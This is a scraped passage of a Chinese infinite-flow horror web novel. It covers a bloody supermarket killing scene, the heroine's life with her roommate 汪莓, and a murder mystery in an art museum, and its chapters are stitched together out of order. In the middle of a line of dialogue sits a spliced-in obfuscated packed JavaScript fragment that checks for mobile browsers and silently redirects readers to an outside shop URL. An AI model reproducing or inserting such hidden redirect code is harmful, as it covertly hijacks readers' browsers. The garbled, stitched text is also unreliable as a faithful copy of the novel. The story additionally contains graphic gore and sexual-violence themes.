“这就是解决这个能量场的关键啊。”温偌水垂着眸,声音中透露着些许疲惫,“休息吧,我有些累了。” 腺体受伤的人是很容易疲惫劳累的,温偌水也不例外。下达逐客令后,胡权就回到了自己的房间,季小柔也洗洗漱爬上了床。 熄灯之后没多久,那头便传来了季小柔清浅的呼吸声。 就在温偌水也要睡过去时,顾随之轻声问了句:“温温姐,你已经知道该怎么做了吧?” 温偌水仰躺在床上,看着斑驳的天花板,视线在角落发黑的霉斑处涣散。 她没有回答,顾随之也就没有追问,他翻了个身,伸手在温偌水垂在床边的手上轻轻一握,声音轻柔道:“不管你做什么我都会在你身边的,睡吧,晚安。” 那夜,温偌水睡了个好觉。 . 常珊听了她的回答,先是一愣,随后阴恻恻地笑了起来:“怎么这么敏锐……哈哈哈哈,不过无所谓,无法解决我的怨念点的话,你们还是都会死在这里!” 看着她扭曲的笑,温偌水面无表情。 太阳穴突突地疼,耳朵里也有挥之不去的耳鸣。不知道为何,看着常珊这副模样,温偌水心里升腾起一股莫名的焦躁。 她的余光扫过超市的角落,在一排货架后面站着个看不清脸的小女孩。 啧。 在常珊笑够了之后,温偌水突然掐住她的脖子将整个人从地上提了起来。常珊睁大眼睛看着骤然靠近的那张极具疏离感的脸,在听到那冷冷的话时脸色顿时变得苍白。 “胆小鬼。” 下一秒,常珊感到手里被塞入了什么,然后手臂便被人扯了去。 温偌水强硬地抓住常珊,一步步逼近早被胡权制服在地的、已经被吴仁附身的王雨,王雨在地上挣扎着,如同一只濒死的蛆虫,眼泪鼻涕糊了满脸,在那张充满恐惧的脸上,常珊看到了吴仁的影子。 “不、不……”常珊突然慌乱起来,她企图用脚蹬地来阻止身体的前进,但温偌水的力气实在太大了,她像个破布麻袋一样被拖了过去。 “原谅爸爸、原谅爸爸——!!!”吴仁的声音从王雨的嘴中发出,如此撕心裂肺,如此哀转久绝。 常珊死死咬住自己的下唇,身体像是被按下暂停键一样无法动弹。 “睁着眼睛好好看着。”鬼魅的话语在耳边炸响,常珊瞪大双眼,眼睁睁看着自己的手被温偌水高高扬起,随后用力落下! 噗嗤—— 噗嗤—— 噗嗤—— 尖刀没入身体,血肉筋膜被斩开,白花花的脂肪和肠子流了一地,鲜血如同B级片里的低劣特效一样溅炸而出,尖叫声在耳膜处回荡,渐渐变得虚幻缥缈。 世界变成了红色。 心跳声击打着耳膜,力度之大,恨不得将一切击碎。 常珊机械地转过头去,正好瞥见了温偌水的眼睛。那原本漆黑的眸子里倒映着无尽的血色,透露着难以言说的疯狂。 以及,茫然。 常珊愣住了,她还没有反应过来,便被温偌水拖到了另一边,那里躺着被吴顺财附身、尚未断气的人的身体。 那人已经没有发出声音的力气了,喉咙里只听得见丝丝气流声。他的身体上遍布刀伤,其实只要放着他不管,他不出几分钟就会咽气。 但是温偌水依旧提着常珊的手,举起刀,一刀一刀将气若游丝的人刺成了筛子。 待血流成河,世界寂静,温偌水终于大发慈悲扔下了已经麻木的常珊。常珊跪倒在血泊里,指尖沾到血液的那一瞬间像是被熊熊烈火烫到一样,不住瑟缩起来。 她强忍住心头的恶心,颤抖着声音问:“为什么……?” 温偌水的头发凌乱在眼前,挡住了她倒映着血色的眼睛。 “十年前你就是像 14. 笑哈哈超市(end) 《劣等人类补全计划[无限]》全本免费阅读 顾随之回到超市里时,温偌水已经恢复了惯常的冷漠和疏离,她双手抱臂斜靠在货架上,垂着眸不知看向何方。 顾随之走到温偌水跟前,低着头蔫蔫道:“……她死了。” “死了?”季小柔惊叫出声,“怎么死的?” “她突然跑到了轨道上……”顾随之咬了下嘴唇,“对不起,是我没抓住她。” “人各有命,别自责。”胡权安慰道,伸手在顾随之肩上拍了拍。 “对呀,而且她害了那么多人……”季小柔说到一半也说不下去了,索性闭了嘴。 顾随之轻轻点了点头,小心翼翼地抬起眼看向温偌水。 温偌水看起来有些疲惫,似乎不太想再在这里呆下去,她淡淡道:“走吧。”随后转身离开了超市。 一行人刚踏出超市的门,便闻到了刺鼻的焦糊味,当他们转过头看向超市时,惊讶发现里头的东西都被燃烧殆尽,只留下一团焦炭了。 十年前的5月21日以一场轰轰烈烈的火灾画上句号。 “怪不得我当时一进来就闻到了焦糊味。”顾随之喟叹道。 “走吧。”温偌水又说了一遍。 众人簇拥着走上地铁,提示音过后地铁门徐徐关闭,透明玻璃外的景色变换,待听到报站声时众人才有了些许实感,瘫坐在座位上。 原先刚好被填满的车厢此刻空荡荡一片,幸存者们零零散散地坐在座位上,看上去有些萧条。 死里逃生的人们终于能松一口气,七嘴八舌地开始复盘能量场里的事情,十句话中有九句在怒骂常珊居然是叛徒。 “该死的贱人!她想杀老子早点动手不行吗?非要等我们死了那么多人!” “说不定就是天生的反社会人格,就想看着被她爹爷附身的人一个个被活活砍死呢!” 众人的怒骂愈演愈烈,他们满脸皆是愠色,吐沫星子横飞,伴随着夸张的肢体动作,似乎常珊若是再度出现在他们面前就会被撕个粉碎一样。 那些前些日子还和常珊交好的伙伴们骂得最为猛烈,他们急迫地想要和常珊撇清关系,事后诸葛亮般开始细数常珊自打进入能量场后的各种不寻常,并将她的祖宗十八代都“亲切”问候了一遍。 顾随之看着他们狰狞的模样,略感不适地搓了搓肩膀,他侧着头轻声问温偌水:“温温姐,凶手常珊和被害者常珊,究竟哪个才是真的呢?” “这重要吗?”温偌水看向顾随之,漆黑的眸子深不见底。 顾随之恍惚一瞬,张了张嘴:“不重要吗?” 温偌水叹了口气:“真实……?也许一切都是真实,也许一切都不是真实,这个问题没有意义。” “这个世界会好起来吗?”顾随之想起最后常珊问自己的问题,无比认真地看向温偌水,期待她能给予自己答案。 但是温偌水真的太累了,她闭上眼,并没有回答。 顾随之有些落寞地垂下肩膀,和温偌水一起陷入了与周遭格格不入的沉默之中。 列车行驶了半小时后,门外才透出些喧嚣与光亮。地铁门徐徐打开,他们又看见了上车时见到的那群全副武装的联邦警察。 看到幸存者们,联邦警察显然有些震惊,但很快他们又恢复了惯常的玩世不恭,揶揄道:“看来这次的场很简单,居然这么多人都活下来了。” 幸存者里有人脸色变得不太好看,他们想要反驳这些视平民性命如草芥的混蛋警察,但眼睛瞥到那握在手里的真枪实弹时又把满腔愤懑给憋了回去。 所有幸存者都接受了核查,轮到温偌水时,调查官扔给她一张ID卡,卡上有温偌水的头像和“温十三”的姓名。 “恭喜你脱离黑户身份。”调查官嗤笑道,眼神在温偌水身上上下扫过,说不上友善。 温偌水没说什么,将ID卡随手塞进了裤兜里。 她转过身去时,听到了身后警察们的嬉笑声。 “身材和脸蛋都不错,可惜了,我不喜欢板着臭脸的omega。” “哈哈哈哈……” 猥琐的笑声此起彼伏,温偌水的心头又升腾出一股烦躁。 太阳穴突突疼,温偌水一闭上眼就能看到那个被黑雾蒙了脸的小女孩。她抬手捏了捏皱紧的眉头,胸口有挥之不去的郁气。 就在这时,一股山泉般柔和清冽的涓流从肩膀处扩散至胸腔,心中的烦闷祛除了不少,头部的隐隐作痛也得到了缓解。 温偌水扭头看去,只见顾随之一手搭在自己肩上,手心里冒出淡淡的白光。 这是顾随之的异能。 “好些了吗?”顾随之轻声问。 温偌水点了点头:“谢谢。” “别在意,联邦警察就是这幅德行,这么多年了一点长进都没有。”胡权走上前来,手里拿着自己的ID卡。 “胡大哥对联邦警察很熟悉?”顾随之问。 “嗐。”胡权挥了挥手,“我以前也是干这个的,后来实在受不了那的氛围就离职了。” 温偌水扫过他手里代表着劣等人身份的黑色ID卡,默不作声。 检录很快完成,一行人稀稀落落地走着,有人欢喜有人愁,喜的是他们距离完成劣等人到上等人的飞跃已过了十分之一,愁的是他们对未来很是迷茫——真的要继续下去吗?如果还没有完成任务就当了短命鬼怎么办? 和他们的悲喜交加相比,温偌水一行人显然要没心没肺得多。 季小柔摸着自己的肚子,涕泗横流:“好不容易出来了我要好好吃一顿!” 顾随之笑着看她:“我知道有家饭店很好吃,就是那家……” “这家我听说过,但是太贵了呜呜我吃不起……” “哈哈哈哈,没事,我请你吃!” “呜呜,你是我的好爹爹!” 看着走在前头又开始闹腾的两人,温偌水有些不知说什么好。 这时,身旁的胡权没头没尾地问了一句:“你相信身边的一切吗?” 温偌水摇了摇头,说:“不。” 胡权用眼神瞥了瞥走在前头的顾随之,促狭一笑:“真的吗?” 温偌水知道他想说什么,并没有应答。 “他远没有看上去那么单纯。”胡权说。 “我知道。”温偌水捏了捏山根,“我也看到了。” 闻言,胡权先是一愣,随后又笑了起来:“你也看到了。” “那么明显的一脚,我又不是瞎子。” 胡权耸了耸肩:“那你自己掂量着。”说完,他便匆匆离开了。 走在前头的两人还不知道温偌水他们聊了些什么,季小柔扒拉着裙角说:“唉,以后要过上无家可归的日子了。” 顾随之有些惊讶:“你没有家吗?” 季小柔:“我妈得了病,房子卖了给她看病,但是前几天她死了,我现在没有亲人了,也没有家了。” “啊……不好意思……” “没事,不用在意。” 顾随之搓了搓手,试探地问:“那,你要来我家住吗?我家有很多空房间……” “真的吗?”季小柔瞬间瞪大了双眼,但立即狐疑道,“义父,你不会是人贩子吧?” 顾随之无语凝噎:“……你看我打得过谁……”他眨了眨眼,“你看温温姐就很厉害,你和她一起来,我就算三头六臂也不敢欺负你啊。” 季小柔咯咯一笑,蹦蹦跳跳跑到温偌水身边,说:“姐姐,义父说他家房子挺大的,要不我们一起住他家去?” 顾随之竖起耳朵,看向温偌水。 温偌水想也没想摇了摇头:“不用。” 顾随之瞬间蔫了。 季小柔没看到顾随之的表情,故作可惜道:“那我就一人独享了嘿嘿!” . 告别两人,温偌水向家的方向走去。穿过满是污水,被油烟熏黑了墙的胡同,温偌水又走进下一个窄小的巷道。 15. 她和她(一) 《劣等人类补全计划[无限]》全本免费阅读 “我回来了。” 温偌水放下手里的外卖袋子,对着上铺床上的鼓包说道。 听到塑料袋的声响,鼓包动了动,随后,从被子里头探出个毛绒绒的脑袋来。 一个女人打了个大大的哈欠,语气中带笑:“小十三你回来啦……” “你昨晚又没有卸妆?”温偌水有些嫌弃地看着女人那妆花了大半的脸,又瞥了眼沾了浮粉的枕头套,“脏了自己洗。” “啊,小十三你好冷酷哦!”女人努了努嘴,翻身下床,“昨晚回来太晚了,我快累死了,哪还有力气卸妆啊!” “那就别化妆。” 女人一边扒拉着塑料袋一边说:“不化妆怎么钓有钱alpha呢?” 温偌水拍开她的手:“先去卸妆。” 女人嘟囔着去洗了脸,她动作并不细致,将半边毛绒绒的卷发都打湿了。等漱了口洗了脸,才顶着温偌水教导主任般的目光回到了窄小房间唯一的折叠桌前,忙不迭地拆开了塑料袋。 “哇,是炒面!”女人惊呼一声,叉起一筷子就往嘴里送,期间还嘴里含糊道:“这家炒得太干了,还是西街那家最好吃,小十三你怎么不给我带西街那家的?” 温偌水:“那家贵一块钱。” 女人无语凝噎:“……钱赚了就是要花的!别那么抠搜嘛!” 温偌水瞥了她一眼:“下次你出钱?” 女人瞬间偃旗息鼓,打哈哈道:“我哪来的钱啦哈哈哈哈……” “你不是去钓有钱alpha了?” 女人没说话,埋头苦吃。 吃完后两人简单收拾了一下家里,女人便接着开始护肤。她掏出一堆瓶瓶罐罐往脸上抹,用温偌水的话来说就像是“刮腻子”。女人挤了点护手霜,又发现挤太多了,便拉过温偌水的手,给她抹了一遍。 “小十三你的手怎么这么糙啊,还有老茧!”女人一边抹一边大惊小怪,“你这样怎么钓alpha啊?” 温偌水嗤笑一声,抽回手来:“我不需要alpha。” 女人闭上眼:“‘我只靠我自己’,哼哼,你又来了。”她伸出一根玉葱般的手指,一本正经道,“我妈说了,omega这辈子最重要的事情就是找个好alpha,其他的都无所谓!” 温偌水懒得理她:“那你妈最后找到了吗?” 女人知道温偌水在阴阳怪气,于是扁了扁嘴:“我这不是在替她完成尚未实现的梦想嘛!” “那就祝你成功吧。”温偌水不咸不淡道。 女人知道自己辩解不过温偌水,便扯开了话题:“小十三你帮我看看我的护颈,我感觉有点松了。” 温偌水放下手里的东西,伸手扯了扯女人脖子上厚厚一条的护颈,调整了一下说:“是有点松了。” “都怪上次那个alpha,太粗鲁了!”女人嘟囔道。 等温偌水帮她调整好了,女人便撑着下巴百无聊赖地看着温偌水的背影,半晌问了句:“小十三,你怎么不戴护颈啊?” “我腺体有缺,戴不戴都一样。” “真可惜,小十三你这么漂亮,肯定是能找到好alpha的。” 温偌水看了女人一眼,目光在她圆圆的眼睛、细长的眉毛上逡巡,说:“你也很漂亮。” 女人羞涩一笑,捂住了自己的脸:“哎呀,嘴真甜……” 她话音未落,温偌水又道:“所以可以不用化妆的。” 女人:“怎么老说这个……我妈说我素颜太乖了,容易被人欺负,所以我才要化妆,化得凶一点,这样别人就不敢随便拿我怎么样了。” 温偌水没说话。 安静了一会后,女人突然神秘兮兮地掏出一只小包,说:“小十三,给你看个好东西!” 说着,她从包里拿出一张小小的卡片:“锵锵!” 那是一张身份证,上面有女人的头像,旁边还有身份信息。姓名那栏写着“汪莓”二字。 汪莓笑得圆咕噜的眼睛都弯成了月牙:“以后我就是有身份的人啦!” 温偌水看着身份证上笑得灿烂的汪莓,嘴角扬起淡淡的弧度:“嗯,恭喜。” 汪莓捧着手里的身份证,如获珍宝:“哎呀,拍得真好看啊,果真人美怎么拍都是好看的,嘻嘻!”她欣赏了一会,又仰头问温偌水,“小十三,你什么时候也去办一张啊?” “不急。”温偌水道。 闻言,汪莓立马皱起眉头来:“有了身份证才是正经人,你少听楼里那群黑户的话,什么自由不自由的,你得获得社会的认可才行啊!不然就像那阴沟里的老鼠,成天要东躲西藏的!” “嗯,过两天就去办。”温偌水敷衍道。 傍晚,汪莓吃完饭就匆匆开始化妆。温偌水看着汪莓把五颜六色的眼影往眼皮子上抹,心想晚上这家伙又要弄脏枕头套了,不免又有些嫌弃。 汪莓熟练地涂抹着,余光瞥到温偌水的眼神,嘟起嘴道:“把你嫌弃的表情收回去!当年我在垃圾堆把满身都是脏水的你捡回来时都没有嫌弃一点!” 闻言,温偌水才不情愿地收起了自己的表情。 化完妆,汪莓换上一套红得亮眼的长裙,又踩上十厘米细高跟,给温偌水抛了个媚眼:“亲爱的我出去啦,今晚争取早点回来!” 说完,便一蹦一跳地走了,整个楼道里都传来她高跟鞋的“噔噔噔”声。 吵闹的人离开了,房间里恢复安静,温偌水慢腾腾地把汪莓散落在桌上的化妆品一一收拾好,然后将折叠桌收好倚着墙放着。等家里弄干净了,她才洗漱上床。 她回想起刚被汪莓捡到时周身充斥着的脏水味和血腥味,又闻了闻此刻干净被褥上散发出的洗衣粉味,心下一片安宁,没过多久便沉沉睡去。 夜里,温偌水被一阵闷响吵醒,她不悦地睁开眼来,便看到搭在自己床边栏杆上一只涂着鲜红指甲油的手。 汪莓爱漂亮,之前不知道哪淘来的指甲油,搁屋里捯饬了一宿,期间还准备给温偌水涂,后被温偌水以涂了指甲油不方便工作为由给拒绝了。 看到这只手,温偌水便知道是汪莓回来了,她睡眼惺忪地说了句:“又喝醉了?要吐出去吐,别吐我床上……” 但话没说完,她便察觉屋里并没有酒味。 以往汪莓也不是没喝醉过,回来时也会撞倒家具,但多少都会傻笑着和温偌水说几句话,但今天汪莓沉默不语,那只手也没动过。 温偌水瞬间清醒了,翻身下床开了灯,一开灯便呼吸一滞。 汪莓整个人衣衫不整、狼狈不堪,脖子上系着的护颈已经不翼而飞,几道血痕从她凌乱的卷发后流淌下来,一路延伸到她鲜红的指甲上。 温偌水眉头一蹙,急忙翻箱倒柜找出急救箱,掀起汪莓凌乱的头发就开始擦碘伏。 汪莓的后脖颈上伤痕遍布,最重的一块甚至被撕开了一块血肉,鲜血汩汩流淌,怎么也止不住。 温偌水眉头皱得更深了,她用纱布随便缠了两道,扛起汪莓就往外走。 “去哪?”汪莓气若游丝地问。 “你的血止不住,得去医院。”温偌水的声线中透露出隐隐的烦躁。 “去街上卫生所不好么……”汪莓病恹恹道。 “卫生所的那群庸医顶多处理些皮外伤,你这个太严重了,得去医院。”说罢,温偌水便戴好口罩帽子,将汪莓背到了背上。 “去医院,得用卡啊……” “你不是有身份证吗?” 听到这句话,汪莓才安静下来,晦暗的双眼也多了些神采。 一路上两人都没有说什么话,温偌水也没有问汪莓脖子上的伤口是哪来的,她快马加鞭,几乎是小跑着带着汪莓赶到了医院。 前脚刚落地,温偌水便从汪莓的包里掏出那张无比珍重的身份证放到机器的扫描区挂号,但扫了好几遍屏幕上都显示检测不到信息。 无奈,温偌水只好转战人工服务台。 “您好,这张身份证是无法挂号的。”前台的工作人员道。 “为什么?”温偌水问。 工作人员犹豫了一下,说:“这是张假证。” 突然,温偌水感到背上的人颤抖了一下。 “没证就没法接受医治吗?” 工作人员面露歉意地点了点头:“是这样的,不好意思。”

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事情似乎变得越来越有趣了。 . “尸体不见了?”何昕存气喘吁吁地看向眼前的空地,满脸的不可思议,“昨天不是还在这的吗?” “不知道啊,一来就发现尸体没了。”司楚盛挠了挠没毛的脑袋。 温偌水环顾四周,地上并没有拖拽的痕迹,只有尸块曾经留下的尸液,那些液体已经干涸,散发出强烈的臭味,引得无数苍蝇叮附在地上。那些乌漆嘛黑的苍蝇群恰巧构成了尸块的形状,看上去有些恶心。 “是不是有人把尸体藏起来了?”季小柔问。 毕竟昨天温偌水才说过今天要来解剖尸体,尸体却恰好消失了,很难不怀疑尸体内部是否存在着什么秘密,以至于“解剖尸体”触及到某人的逆鳞了。 “但是没人承认啊,而且我们也找不到那人把尸体藏哪去了。”沙谦涛道。 线索中断,众人有些沮丧,没过一会就又开始相互指责,企图在论战中抓住疑点,揪出凶手。但经过早晨的辩论,众人说话都深思熟虑起来,没人再犯易醉阳的错误,吵了半天都没能找到什么有效线索。 这一天几乎就是在争吵声中度过的,温偌水头疼不已,恨不得给那些正叽叽喳喳的人一人一拳,好让他们重新学习什么叫做“食不语,寝不言”。 但这也有个好处,那些人正忙着互泼脏水,桌上的饭菜便没人动了。温偌水一个劲地暴风吸入,顾随之和季小柔在她的感染下,也化身暴食战士,三人一顿风卷残云,等那些人吵累了打算歇下来吃几口菜时,便发现桌上的餐盘几乎都空了。 看着吃得油光水滑的三人组,众人努不吭声,气得纷纷回到各自的房间。 温偌水听他们吵了一天的架,此刻终于清净了,洗完漱便趴在床上昏昏睡去。 天很快便暗了下来。 半夜,顾随之不小心从椅子上滚了下来,他睁眼茫然环顾四周,发现没什么异样后松了口气。随后,他便发现嗓子干得厉害,眼见着就要咳出声来,顾随之害怕将温偌水吵醒,便蹑手蹑脚走出房间找水喝。 从早上开始,天气就不太美妙,浓郁的水汽几乎要凝成水滴砸下来,明明走廊里开着窗,但是没有一丁点风,周身闷燥得很。 顾随之心里有些发怵,他加快脚步,在一楼的饮水机里接了点水喝。好在饮水机就在楼梯口,他不必经过悚人的薛笙尸体。 正喝着水,突然饮水机银色的机身倒映出一个影子,顾随之吓得屏住了呼吸,下一秒,他的余光中就出现了一个熟悉的身影—— 三米高的巨大雕像宛如蜘蛛一样在地面爬行,石膏碰到瓷砖地面,发出生冷的“嘎嘎”声。 余光中,雕像距离自己越来越近、越来越近…… 顾随之闭上了眼睛。 但是下一秒,雕像突然调转了方向,向着薛笙尸体的方向爬去。 它沿着天花板上垂落的细线,一路攀爬至薛笙附近。 然后,从她的尸体中,拔出了那柄长剑。 24. 南城美术馆(七) 看到这悚人的一幕,顾随之不由得连连后退,背脊触碰到楼梯的扶手,黑暗中他竟以为那是奇形怪状的鬼怪,吓得滑倒在地。 雕塑将长剑含在嘴里,随后向顾随之的方向爬了过来。 冷汗顺着脸颊滑到下巴,凝成一团滴落在衣领。顾随之在角落里摸到一根水管,紧紧攥在手心。 噗通、噗通—— 雕像越来越近,顾随之的心跳声也越来越大。 就在顾随之即将抽出水管砸向雕像时,雕像径直略过了他,向二楼爬去。 顾随之突然松了口气,整个人都瘫了下来,浑身像是从水里捞出来一样满是冷汗。 但他并没有松懈多久,因为他想起温偌水和季小柔还在楼上!于是他跌撞起身,抓起水管连滚带爬地向二楼冲去。 明明刚刚还近在眼前的雕像,此刻却消失得无影无踪。 偌大的走廊里,弥漫着淡淡的白色雾霭,一切静悄悄的,没有一丝动静。 顾随之胆战心惊地回到自己的房间,发现温偌水和季小柔都安然无恙地躺在床上,心中的石头总算落了地。 他背靠着门板听着外面的动静,不敢掉以轻心。但诡异的是,和第一个副本完全不同,他出人的听力在此刻完全失去了作用,除了自己的心跳声和两位伙伴清浅的呼吸声外,他听不到任何异样的动静。 很快,在精神与疲惫的双重压力下,顾随之就这样靠着门板沉沉睡去。 第二天清早,顾随之听见门外的喧闹声渐渐转醒,他揉了揉眼睛,发现温偌水已经起床在洗漱了。 他猛地从地上爬起,忙问:“温温姐,你没事吧?” 温偌水看了他一眼,确定他不是在学什么无聊网络梗后问:“没事,怎么了?” 顾随之忙不迭地把昨晚的所见所闻告诉了温偌水:“但是我后来一点动静都没听到了……难不成我是在做梦?” 温偌水:“不排除这个可能。” 等季小柔爬起床,三人一同打开门,门外聚集了不少人,看到门开了,沙谦涛便问:“你们看到易醉阳了吗?” 顾随之摇了摇头:“没有啊。” “奇了怪了,怎么到处找不到他?”沙谦涛擤了下鼻子,弹了弹指尖。 何昕存不怀好意地向房间内扫了几眼,看到那床单封住的窗户,不屑一哼:“倒是娇贵得很!” 季小柔立即回怼:“你不怕晚上再有鬼手跑进来摸你的脸?” 闻言,何昕存噎了一下,似乎在回想头天夜里拍碎窗户玻璃的鬼手,不由得打了个寒颤。 “好了大家别吵了。”贾衫壬拍了拍手,“我们先去找找易醉阳吧。” “他昨天晚上明明还在的……”沙谦涛嘟囔着。 几人一起下楼,不知为何,顾随之心中产生了些不好的预感。他放慢脚步,走在了众人的最后。 温偌水问:“怎么了?” 顾随之:“温温姐,也许,昨天晚上的那一切并不是我做的梦……” 他话音未落,就听得李松宝的一声尖叫,瞬间,顾随之站直了身子。 温偌水站在楼梯上,依稀可以看见薛笙的尸体旁多了一团黑乎乎的东西。她立即快步走上前,然后就看到了易醉阳倒吊着的尸体。 尸体的双手被捆缚在身后,一根尖锐的木棍从尸体头顶贯穿至尾椎,使尸体看起来像是串在烧烤串上的牛蛙一样。 尸体翻着白眼,嘴巴大张,齿舌间卡着一枚圆形的硬币,上面刻着倒吊人的图案——那是易醉阳在进入南城美术馆时获得的纪念币。 不出意外的,温偌水在尸体旁的白柱子上发现了展品名称牌——二号展品:“替罪的羊”。 何昕存看到尸体的模样,惊慌失措地倒退几步,随后大喊道:“别再用什么鬼神的东西吓我了!”她恶狠狠地扫视在场的人,“是你,是你,是你!你们谁杀了他?!” 最后,她盯着温偌水,斩钉截铁道:“肯定是你!你这个贱人!你想杀了我们所有人!” 温偌水有些无语地看了她一眼,显然其他能量场老手也懒得搭理发疯的何昕存,纷纷无奈地叹了口气。 “这个场里的死亡条件是什么?”季杜鑫问。 贾衫壬回忆了下昨天的经历,摸着下巴说:“我记得,昨天易醉阳是不是说了句‘就算我是凶手’?难不成和承认自己是否是凶手有关?” “应该没这么简单吧……”顾随之道。 温偌水看着易醉阳的尸体,说:“薛笙给出的任务是‘让我们找出凶手’,昨天在有人怀疑易醉阳的动机后,有多少人在心里怀疑他了?” 问题一出,众人先是安静了半秒,随后李松宝吞吐道:“我是真怀疑了……但我保证,我只是怀疑了一下,并没有认定他就是凶手呀。” “他的嫌疑确实很大,毕竟他是那天唯一承认见过死者的人。”沙谦涛说。其余几人也纷纷点头。 “所以,只是小小怀疑了一下,都会触发死亡条件吗?”顾随之问。 温偌水:“那天只有他有嫌疑。” 言下之意即为,当天嫌疑最大的那个人必然遭到淘汰,但是有没有一些干扰项就不清楚了。 众人陷入沉默。 何昕存突然大笑两声,指着温偌水说:“肯定就是你!你这个凶手!” 顾随之侧身挡在二人之间:“没有证据你在说什么胡话?” 何昕存阴恻恻道:“刚进来的时候你就一直盯着我,你是谁,你为什么一直盯着我?” 温偌水淡淡说:“我早说过我们认识。” 何昕存倒退几步:“你是谁?你究竟是谁?!” 温偌水没有理会她,转身走向了美术馆的后门。 在雕塑群的地方,她再次看到了那尊高大的雕像,只是这次,在这尊雕像旁边,那群面目模糊的雕像中突然有一尊的五官变得无比清晰起来。只需一眼,便可认出那是易醉阳的脸。 突然,一个念头涌上温偌水的心头,她伸出手,想要撩开审判女神像脸上的纱。 “温温姐。”顾随之摇了摇头。 温偌水收回了手:“也对,毕竟是石膏的,掀不开。” 两人回到了美术馆内,临走时,温偌水注意到审美女神像的头好像偏转了一下。 . “你别叫了,像个神经病一样!”沙谦涛皱着眉,对正在大吼大叫的何昕存说道。 “你才是神经病!”何昕存吼道,“你也不是什么好东西!你这个皮条客!烂黄瓜!……哦不,你现在没东西了,你这个太监!” 沙谦涛怒气上来,扇了何昕存一巴掌,何昕存的后脑勺磕到后方透明的展柜,伤口溢出红里带黄的液体来。 “死贱人,贱.货!活该你的店被烧,你祸害了那么多可怜人,你真他妈该死!”沙谦涛朝着何昕存的脸吐了口唾沫。 “是你拉我入伙的!你才是最混蛋的那个!”何昕存疯癫地从地上爬起,恶狠狠地瞪着沙谦涛,“你记得那个叫汪莓的女孩吗?被你撕烂了腺体!她后来受不了自杀啦!你这个杀人犯!” 一只脚刚踏进门的温偌水听到了这句话,眼神冷了一瞬,又恢复了正常。 一席人在不经意间吃了这么大的瓜,一时有些震惊。贾衫壬赶忙拉开两人,说:“现在相 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12928402|134718||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 互埋怨也没有用,只有赶紧找出真正的凶手才能赶紧离开这个能量场。” 何昕存依旧盯着沙谦涛,说:“如果我是汪莓,我一定变成鬼回来报复你。” 沙谦涛瞪了她一眼,低喝道:“闭嘴!” 眼见着两人又要吵起来,一旁吃瓜吃得正起劲的季小柔突然眼睛被什么东西闪了一下,她向角落里看去,疑惑道:“诶?那面镜子是什么时候出现的?” 众人闻声,扭头看去,只见在一个没有展品名牌的展柜里摆着一面镜子,镜子的款式很是老旧,外面的劣质塑料壳带着淡淡的荧光绿色,花纹也十分老掉牙,做工更是别谈,不少棱角处没有做好处理,毛毛癞癞的。 镜子虽然没有自己的展品名,但是在背面黏着一张发黄的标签,上面写着“案件21,104年,南城大学,失踪者刘禾的镜子”。 刚读完上面的字,几人便感到一阵头晕,眼前一片天旋地转,下一秒世界便遁入了漆黑,再睁眼时,眼前的景象发生了天翻地覆的变化。 耳畔变得无比嘈杂,不少人叽叽喳喳,不知在说些什么。人声与喊号声、锅碗瓢盆的碰撞声以及食物的滋滋声混杂在一起,让习惯了寂静诡异的众人有些不太适应。 温偌水看着身上的南城大学校服,又看了看面前的铁盘饭,思考半秒后毫不犹豫地吃起了饭。 三十年前的菜式虽然不如三十年后的新颖,但是锅火气十足,番茄能吃出番茄味,牛肉能吃出牛肉味。 “这是……三十年前的南城大学食堂。”贾衫壬眼中带泪,摸了摸泛着金属光泽的桌面和椅子,看着白板红字的大菜单,“那时候我还在这里教书呢。” 金属的长椅有些硌屁股,顾随之不舒服地扭了扭身体,将餐盘里的牛肉夹给了温偌水。 他看向取餐口的告示,上面写着今日特供汤饮,落款时间是104年3月28日。 “我们来到104年了。”他说。 “那面镜子估计能连接不同的时空。”贾衫壬道。 这时,有两个穿高跟皮鞋的女学生端着餐盘路过,鞋跟发出“嗒嗒嗒”的声响。她们在距离几人仅一个过道的另一张桌坐下,一边吃饭一边叽叽喳喳道: “你知道吗,前几天那个二班的刘禾失踪了!” “当然知道啊,他父母不还来学校里闹了嘛!” “最后还是没找到啊。” “谁知道去哪了!你听说了没,刘禾啊,很不检点呢。” “有所耳闻,怎么一回事?” “就说他天天夜不归宿,被学校通报批评过好几次,屡教不改……然后还有人见过他和一个alpha手拉手上了一辆小轿车呢!” “我天,他居然是这样的人?” “可不是,据说他私下什么都来,乱得很!” “明明长了一张那么清纯的脸,怎么会干出这种事?” “所以啊,说不定他压根就不是失踪了,而是跟有钱alpha跑了呢!” 说着,两人都露出嫌弃又玩味的表情。 顾随之有些好奇,凑上去问:“请问这些小道消息你们都从是哪里听来的呀?” 两个姑娘见是一个帅哥搭话,很乐意地分享情报:“我记得是那个学姐的忠实追随者,她叫什么名字来着?” 两个女生回想了一会,突然一个女生拍了拍手: “哦哦,我想起来了,是一班那个叫李松宝的女生传出来的!” 话音刚落,温偌水便看到坐在对面的李松宝手里的勺子落了下来。 “铛——” 金属勺子坠落在地,溅起地上的汤水油污。 25. 南城美术馆(八) “不是,我……”李松宝手忙脚乱地想要辩解,但是又不知说些什么,只能无措地看向众人。 就在这时,两个女生还火上浇油道:“之前那个孙雁的事也是她说的,她是学姐的小跟班,学姐那么正直善良,想必她的小跟班说的也都能对上号吧。” 顾随之的表情有些难看,他勉强维持微笑点了点头:“我知道了,谢谢。” 他回到自己的座位上,微笑瞬间淡了。 “怎么回事?”季杜鑫问道。 李松宝低下头来,脸涨得通红,她小声嘀咕道:“我说的也没错,我看到他俩都和外面的人来往了……” “那你也不能诬陷他们不检点啊!”季小柔有些生气,“他们本来就很惨了,你怎么还落井下石啊?” 李松宝辩驳道:“说不定就是我说的那样呢!” “够了!”季杜鑫低喝一句,李松宝似乎从未见过他如此生气的模样,吓得将剩下的话都吞进了肚子。 温偌水想起孙雁脖子上的两道勒痕,抬眼看向李松宝,说:“言语也会杀人。” 